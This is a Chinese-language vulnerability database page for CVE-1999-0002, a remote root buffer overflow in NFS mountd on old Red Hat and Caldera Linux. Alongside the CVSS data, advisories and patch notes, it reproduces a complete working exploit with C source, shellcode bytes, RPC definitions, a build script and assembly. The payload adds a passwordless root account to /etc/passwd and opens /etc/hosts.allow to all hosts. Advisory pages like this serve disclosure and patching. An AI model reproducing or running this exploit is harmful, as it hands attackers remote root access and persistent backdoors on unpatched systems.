CVE-1999-0002
CVSS10.0
发布时间 :1998-10-12 00:00:00
修订时间 :2009-01-26 00:00:00
NMCOE    

[原文]Buffer overflow in NFS mountd gives root access to remote attackers, mostly in Linux systems.


[CNNVD]多厂商Linux Mountd漏洞(CNNVD-199810-012)

        NFS mountd存在缓冲区溢出漏洞。远程攻击者可以获取根访问,且大多发生在Linux系统下。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-119 [内存缓冲区边界内操作的限制不恰当]

- CPE (受影响的平台与产品)

cpe:/o:caldera:openlinux:1.2
cpe:/o:redhat:linux:5.1Red Hat Linux 5.1
cpe:/o:redhat:linux:4.2Red Hat Linux 4.2
cpe:/o:redhat:linux:4.1Red Hat Linux 4.1
cpe:/o:redhat:linux:3.0.3Red Hat Linux 3.0.3
cpe:/o:redhat:linux:2.1Red Hat Linux 2.1
cpe:/o:bsdi:bsd_os:1.1
cpe:/o:redhat:linux:5.0Red Hat Linux 5.0
cpe:/o:redhat:linux:2.0Red Hat Linux 2.0
cpe:/o:redhat:linux:4.0Red Hat Linux 4.0

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0002
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-0002
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199810-012
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/121
(VENDOR_ADVISORY)  BID  121
http://www.ciac.org/ciac/bulletins/j-006.shtml
(UNKNOWN)  CIAC  J-006
ftp://patches.sgi.com/support/free/security/advisories/19981006-01-I
(UNKNOWN)  SGI  19981006-01-I

- 漏洞信息

多厂商Linux Mountd漏洞
危急 缓冲区溢出
1998-10-12 00:00:00 2009-01-26 00:00:00
远程  
        NFS mountd存在缓冲区溢出漏洞。远程攻击者可以获取根访问,且大多发生在Linux系统下。

- 公告与补丁

        The following fix information is known to be available:
        Caldera:
        Caldera provided a fixed version as nfs-server-2.2beta35-2 on Aug 28. It is available from: ftp://ftp.caldera.com/pub/OpenLinux/updates/1.2/013
        10fdb82ed8fd1b88c73fd962d8980bb4 RPMS/nfs-server-2.2beta35-2.i386.rpm 59e275b1ed6b98a39a38406f0415a226 RPMS/nfs-server-clients-2.2beta35-2.i386.rpm 6b075faf1d424e099c6932d95e76fd6b SRPMS/nfs-server-2.2beta35-2.src.rpm
        Red Hat Software, Inc.
        All versions of Red Hat Linux as of October 8/1998 are vulnerable, and we have provided fixed packages for all our users. Updated nfs-server packages are available from our site at:
        http://www.redhat.com/support/docs/errata.html

- 漏洞信息 (19096)

RedHat Linux <= 5.1,Caldera OpenLinux Standard 1.2 Mountd Vulnerability (EDBID:19096)
linux remote
1998-08-28 Verified
0 LucySoft
N/A [点击下载]
source: http://www.securityfocus.com/bid/121/info

NFS servers running certain implementations of mountd, primarily Linux systems. On some systems, the vulnerable NFS server is enabled by default. This vulnerability can be exploited even if the NFS server does not share any file systems.

This vulnerability is specifically a buffer overflow in the mount daemons logging code which is supposed to log unauthorized mount attempts.

/*
    rpc.mountd [remote] exploit by LucySoft [ luci@transart.ro ]

    [September 20, 1998]
    [version 0.4]

    tested on Red Hat Linux 5.1 (Manhattan)
    running nfs-server-2.2beta29

    I guess patches are available at ftp://ftp.redhat.com

    NOTE: if the remote host has /etc/exporfs non-empty,
    [shwomount -e remote_host]
    you must define __EXPORTS 2 and recompile

    I've tested on only two RH 5.1 systems, the offset was about 1000.

*/

#define __EXPORTFS      1


#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <linux/nfs.h>

#include "nfsmount.h"



static unsigned long            __offset = 1160;

/*
   check out code.c if you want to know what this means
*/

static char code[] =
{
    0xeb, 0x56, 0x5e, 0x56,
    0x56, 0x56, 0x31, 0xd2,
    0x88, 0x56, 0x0b, 0x88,
    0x56, 0x1e, 0x88, 0x56,

    0x27, 0x88, 0x56, 0x38,
    0xb2, 0x0a, 0x88, 0x56,
    0x1d, 0x88, 0x56, 0x26,
    0x5b, 0x31, 0xc9, 0x41,

    0x41, 0x31, 0xc0, 0xb0,
    0x05, 0xcd, 0x80, 0x50,
    0x89, 0xc3, 0x31, 0xc9,
    0x31, 0xd2, 0xb2, 0x02,

    0x31, 0xc0, 0xb0, 0x13,
    0xcd, 0x80, 0x58, 0x89,
    0xc2, 0x89, 0xc3, 0x59,
    0x52, 0x31, 0xd2, 0xb2,

    0x0c, 0x01, 0xd1, 0xb2,
    0x13, 0x31, 0xc0, 0xb0,
    0x04, 0x31, 0xd2, 0xb2,
    0x12, 0xcd, 0x80, 0x5b,

    0x31, 0xc0, 0xb0, 0x06,
    0xcd, 0x80, 0xeb, 0x3f,
    0xe8, 0xa5, 0xff, 0xff,
    0xff, 0x2f, 0x65, 0x74,

    0x63, 0x2f, 0x70, 0x61,
    0x73, 0x73, 0x77, 0x64,
    0x78, 0x7a, 0x3a, 0x3a,
    0x30, 0x3a, 0x30, 0x3a,

    0x3a, 0x2f, 0x3a, 0x2f,
    0x62, 0x69, 0x6e, 0x2f,
    0x73, 0x68, 0x78, 0x78,
    0x41, 0x4c, 0x4c, 0x3a,

    0x41, 0x4c, 0x4c, 0x78,
    0x78, 0x2f, 0x65, 0x74,
    0x63, 0x2f, 0x68, 0x6f,
    0x73, 0x74, 0x73, 0x2e,

    0x61, 0x6c, 0x6c, 0x6f,
    0x77, 0x78, 0xff, 0x5b,
    0x53, 0x31, 0xc9, 0xb1,
    0x28, 0x01, 0xcb, 0xb1,

    0x02, 0x31, 0xc0, 0xb0,
    0x05, 0xcd, 0x80, 0x50,
    0x89, 0xc3, 0x31, 0xc9,
    0x31, 0xd2, 0xb2, 0x02,

    0x31, 0xc0, 0xb0, 0x13,
    0xcd, 0x80, 0x5b, 0x59,
    0x53, 0x31, 0xd2, 0xb2,
    0x1f, 0x01, 0xd1, 0xb2,

    0x08, 0x31, 0xc0, 0xb0,
    0x04, 0xcd, 0x80, 0x5b,
    0x31, 0xc0, 0xb0, 0x06,
    0xcd, 0x80, 0x31, 0xc0,
    0x40, 0xcd, 0x80
};



unsigned long get_esp()
{
   __asm__("movl %esp,%eax");
}


void _fill_hostile_buffer(char *ptr)
{
    char        *buff;
    unsigned    retaddr = get_esp() + __offset;
    int         length;

    memset(ptr, 0x90, 1024);

    length = strlen(code);

    memcpy(ptr + 1024 - length - 40 - __EXPORTFS, code, length);
    buff = ptr + 1024 - 40 - __EXPORTFS;

    while (buff < (ptr + 1024))
    {
        *(unsigned*)buff = (unsigned)retaddr;
        buff += sizeof(unsigned);
    }
    ptr[1023] = '\0';

    fprintf(stderr, "code length = %d, used retaddr is %x\n", length,
retaddr);

}

/*
    ripped off from nfsmount.c [ mount-2.7l.rpm - RH 5.1 ]
*/


int _nfsmount(char* hostname, char *dirname)
{
        CLIENT  *mclient;
        int     mountprog, mountvers;
        int     nfsprog, nfsvers;
        int     mountport = 0;
        int     clnt_stat;
        int     msock, fsock;

        struct  hostent *hp;
        struct  sockaddr_in server_addr;
        struct  fhstatus status;
        struct  timeval total_timeout, retry_timeout;



        if (!(hp = gethostbyname(hostname)))
        {
            fprintf(stderr, "mx: can't get address for %s\n", hostname);
            return(-1);
        }


        server_addr.sin_family = AF_INET;
        memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length);

        mountprog = MOUNTPROG;
        mountvers = MOUNTVERS;

        nfsprog = NFS_PROGRAM;
        nfsvers = NFS_VERSION;

        total_timeout.tv_usec = 0;
        total_timeout.tv_sec = 20;

        retry_timeout.tv_usec = 0;
        retry_timeout.tv_sec = 3;

        server_addr.sin_port = htons(mountport);
        msock = RPC_ANYSOCK;

        fprintf(stderr, "ok, attacking target %s\n", hp->h_name);

        mclient = clntudp_create(&server_addr,
            mountprog, mountvers,
            retry_timeout, &msock);

        if (mclient)
        {
            mclient->cl_auth = authunix_create_default();
            clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
                (xdrproc_t) xdr_dirpath, (caddr_t) &dirname,
                (xdrproc_t) xdr_fhstatus, (caddr_t) &status,
                total_timeout);

            if (clnt_stat != RPC_SUCCESS)
            {
                /*

                auth_destroy(mclient->cl_auth);
                clnt_destroy(mclient);
                close(msock);

                clnt_perror(mclient, "mx clnt_call");
                */
                return(msock);
            }
            fprintf(stderr, "successful clnt_call\n");
            return(msock);
        }
        else
        {
            clnt_pcreateerror("mx clntudp_create");
            return(-1);
        }


        auth_destroy(mclient->cl_auth);
        clnt_destroy(mclient);
        close(msock);
        return (-1);
}


int main(int argc, char *argv[])
{
    int         k, sock;
    char        hostilebuffer[4096];


    if (argc < 2)
    {
        fprintf(stderr, "usage : %s target_host [offset]\n", argv[0]);
        return(-1);
    }

    if (argc == 3)
    {
        __offset = strtol(argv[2], (char**)NULL, 10);
        fprintf(stderr, "using offset %d\n", __offset);
    }

    _fill_hostile_buffer(hostilebuffer);
    if (_nfsmount(argv[1], hostilebuffer) > 0)
    {
        fprintf(stderr, "seems that security on host %s was defeated\n",
            argv[1]);
    }

    return(0);
}


-------------------------------------------------------------------------
CUT_HERE next file is nfsmount.x
-------------------------------------------------------------------------

%/*
% * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
% * unrestricted use provided that this legend is included on all tape
% * media and as a part of the software program in whole or part.  Users
% * may copy or modify Sun RPC without charge, but are not authorized
% * to license or distribute it to anyone else except as part of a product
or
% * program developed by the user or with the express written consent of
% * Sun Microsystems, Inc.
% *
% * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
% * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
% * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
% *
% * Sun RPC is provided with no support and without any obligation on the
% * part of Sun Microsystems, Inc. to assist in its use, correction,
% * modification or enhancement.
% *
% * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
% * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
% * OR ANY PART THEREOF.
% *
% * In no event will Sun Microsystems, Inc. be liable for any lost revenue
% * or profits or other special, indirect and consequential damages, even
if
% * Sun has been advised of the possibility of such damages.
% *
% * Sun Microsystems, Inc.
% * 2550 Garcia Avenue
% * Mountain View, California  94043
% */

%/*
% * Copyright (c) 1985, 1990 by Sun Microsystems, Inc.
% */
%
%/* from @(#)mount.x    1.3 91/03/11 TIRPC 1.0 */

/*
 * Protocol description for the mount program
 */

#ifdef RPC_HDR
%#ifndef _rpcsvc_mount_h
%#define _rpcsvc_mount_h
#endif

#ifdef RPC_CLNT
%#include <string.h>            /* for memset() */
#endif

const MNTPATHLEN = 1024;        /* maximum bytes in a pathname argument */
const MNTNAMLEN = 255;          /* maximum bytes in a name argument */
const FHSIZE = 32;              /* size in bytes of a file handle */

/*
 * The fhandle is the file handle that the server passes to the client.
 * All file operations are done using the file handles to refer to a file
 * or a directory. The file handle can contain whatever information the
 * server needs to distinguish an individual file.
 */
typedef opaque fhandle[FHSIZE];

/*
 * If a status of zero is returned, the call completed successfully, and
 * a file handle for the directory follows. A non-zero status indicates
 * some sort of error. The status corresponds with UNIX error numbers.
 */
union fhstatus switch (unsigned fhs_status) {
case 0:
        fhandle fhs_fhandle;
default:
        void;
};

/*
 * The type dirpath is the pathname of a directory
 */
typedef string dirpath<MNTPATHLEN>;

/*
 * The type name is used for arbitrary names (hostnames, groupnames)
 */
typedef string name<MNTNAMLEN>;

/*
 * A list of who has what mounted
 */
typedef struct mountbody *mountlist;
struct mountbody {
        name ml_hostname;
        dirpath ml_directory;
        mountlist ml_next;
};

/*
 * A list of netgroups
 */
typedef struct groupnode *groups;
struct groupnode {
        name gr_name;
        groups gr_next;
};

/*
 * A list of what is exported and to whom
 */
typedef struct exportnode *exports;
struct exportnode {
        dirpath ex_dir;
        groups ex_groups;
        exports ex_next;
};

/*
 * POSIX pathconf information
 */
struct ppathcnf {
        int     pc_link_max;    /* max links allowed */
        short   pc_max_canon;   /* max line len for a tty */
        short   pc_max_input;   /* input a tty can eat all at once */
        short   pc_name_max;    /* max file name length (dir entry) */
        short   pc_path_max;    /* max path name length (/x/y/x/.. ) */
        short   pc_pipe_buf;    /* size of a pipe (bytes) */
        u_char  pc_vdisable;    /* safe char to turn off c_cc[i] */
        char    pc_xxx;         /* alignment padding; cc_t == char */
        short   pc_mask[2];     /* validity and boolean bits */
};

program MOUNTPROG {
        /*
         * Version one of the mount protocol communicates with version two
         * of the NFS protocol. The only connecting point is the fhandle
         * structure, which is the same for both protocols.
         */
        version MOUNTVERS {
                /*
                 * Does no work. It is made available in all RPC services
                 * to allow server reponse testing and timing
                 */
                void
                MOUNTPROC_NULL(void) = 0;

                /*
                 * If fhs_status is 0, then fhs_fhandle contains the
                 * file handle for the directory. This file handle may
                 * be used in the NFS protocol. This procedure also adds
                 * a new entry to the mount list for this client mounting
                 * the directory.
                 * Unix authentication required.
                 */
                fhstatus
                MOUNTPROC_MNT(dirpath) = 1;

                /*
                 * Returns the list of remotely mounted filesystems. The
                 * mountlist contains one entry for each hostname and
                 * directory pair.
                 */
                mountlist
                MOUNTPROC_DUMP(void) = 2;

                /*
                 * Removes the mount list entry for the directory
                 * Unix authentication required.
                 */
                void
                MOUNTPROC_UMNT(dirpath) = 3;

                /*
                 * Removes all of the mount list entries for this client
                 * Unix authentication required.
                 */
                void
                MOUNTPROC_UMNTALL(void) = 4;

                /*
                 * Returns a list of all the exported filesystems, and
which
                 * machines are allowed to import it.
                 */
                exports
                MOUNTPROC_EXPORT(void)  = 5;

                /*
                 * Identical to MOUNTPROC_EXPORT above
                 */
                exports
                MOUNTPROC_EXPORTALL(void) = 6;
        } = 1;

        /*
         * Version two of the mount protocol communicates with version two
         * of the NFS protocol.
         * The only difference from version one is the addition of a POSIX
         * pathconf call.
         */
        version MOUNTVERS_POSIX {
                /*
                 * Does no work. It is made available in all RPC services
                 * to allow server reponse testing and timing
                 */
                void
                MOUNTPROC_NULL(void) = 0;

                /*
                 * If fhs_status is 0, then fhs_fhandle contains the
                 * file handle for the directory. This file handle may
                 * be used in the NFS protocol. This procedure also adds
                 * a new entry to the mount list for this client mounting
                 * the directory.
                 * Unix authentication required.
                 */
                fhstatus
                MOUNTPROC_MNT(dirpath) = 1;

                /*
                 * Returns the list of remotely mounted filesystems. The
                 * mountlist contains one entry for each hostname and
                 * directory pair.
                 */
                mountlist
                MOUNTPROC_DUMP(void) = 2;

                /*
                 * Removes the mount list entry for the directory
                 * Unix authentication required.
                 */
                void
                MOUNTPROC_UMNT(dirpath) = 3;

                /*
                 * Removes all of the mount list entries for this client
                 * Unix authentication required.
                 */
                void
                MOUNTPROC_UMNTALL(void) = 4;

                /*
                 * Returns a list of all the exported filesystems, and
which
                 * machines are allowed to import it.
                 */
                exports
                MOUNTPROC_EXPORT(void)  = 5;

                /*
                 * Identical to MOUNTPROC_EXPORT above
                 */
                exports
                MOUNTPROC_EXPORTALL(void) = 6;

                /*
                 * POSIX pathconf info (Sun hack)
                 */
                ppathcnf
                MOUNTPROC_PATHCONF(dirpath) = 7;
        } = 2;
} = 100005;

#ifdef RPC_HDR
%#endif /*!_rpcsvc_mount_h*/
#endif


------------------------------------------------------------------------
CUT_HERE : next file is makeit [ script for building the stuff ]
------------------------------------------------------------------------

#!/bin/bash

rpcgen -C nfsmount.x
gcc -c -g nfsmount.c
gcc -o mx nfsmount.o nfsmount_xdr.c

---------------------------------------------------------------------------
CUT_HERE : next file is the asm code... just to have the entire source
code
---------------------------------------------------------------------------

/*

  really ugly code. It does :

  int fd = open("/etc/passwd", O_RDWR);
  lseek(fd, 0, SEEK_END);
  write(fd, "z::0:0::/:/bin/sh\n", 18);
  close(fd);

  int fd = open("/etc/hosts.allow", O_RDWR);
  lseek(fd, 0, SEEK_END);
  write(fd, "ALL:ALL\n", 8);
  close(fd);

  exit(?);

*/

#include <stdio.h>

main()
{
    __asm__("jmp eofcode
            here:
            popl %esi
            pushl %esi
            pushl %esi
            pushl %esi

            xorl %edx, %edx
            movb %dl, 11(%esi)
            movb %dl, 30(%esi)
            movb %dl, 39(%esi)
            movb %dl, 56(%esi)
            movb $0x0a, %dl
            movb %dl, 29(%esi)
            movb %dl, 38(%esi)
            popl %ebx
            xorl %ecx, %ecx
            incl %ecx
            incl %ecx
            xor %eax, %eax
            movb $0x05, %al
            int  $0x80

            pushl %eax

            movl %eax, %ebx
            xorl %ecx, %ecx
            xorl %edx, %edx
            movb $0x02, %dl
            xorl %eax, %eax
            movb $0x13, %al
            int  $0x80

            popl %eax

            movl %eax, %edx
            movl %eax, %ebx
            popl %ecx
            pushl %edx
            xorl %edx, %edx
            movb $0x0c, %dl
            addl %edx, %ecx
            movb $0x13, %dl
            xorl %eax, %eax
            movb $0x04, %al
            xorl %edx, %edx
            movb $0x12, %dl
            int  $0x80

            popl %ebx
            xorl %eax, %eax
            movb $0x06, %al
            int  $0x80

            jmp  cont1


            eofcode:
            call here
            .string
\"/etc/passwdxz::0:0::/:/bin/shxxALL:ALLxx/etc/hosts.allowx\"

            cont1:

            popl %ebx
            pushl %ebx
            xorl %ecx, %ecx
            movb $40, %cl
            addl %ecx, %ebx
            movb $02, %cl
            xor  %eax, %eax
            movb $05, %al
            int  $0x80


            pushl %eax

            movl %eax, %ebx
            xorl %ecx, %ecx
            xorl %edx, %edx
            movb $0x02, %dl
            xorl %eax, %eax
            movb $0x13, %al
            int  $0x80

            popl %ebx

            popl %ecx

            pushl %ebx

            xorl %edx, %edx
            movb $31, %dl
            addl %edx, %ecx
            movb $8, %dl
            xorl %eax, %eax
            movb $4, %al
            int  $0x80


            popl %ebx
            xorl %eax, %eax
            movb $0x06, %al
            int  $0x80

            xor  %eax, %eax
            incl %eax
            int  $0x80

            .string \"theeeeeeeeeeend\"
            ");

}		

- 漏洞信息

909
Multiple Linux rpc.mountd Remote Overflow
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

Unknown or Incomplete

- 时间线

1998-10-12 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站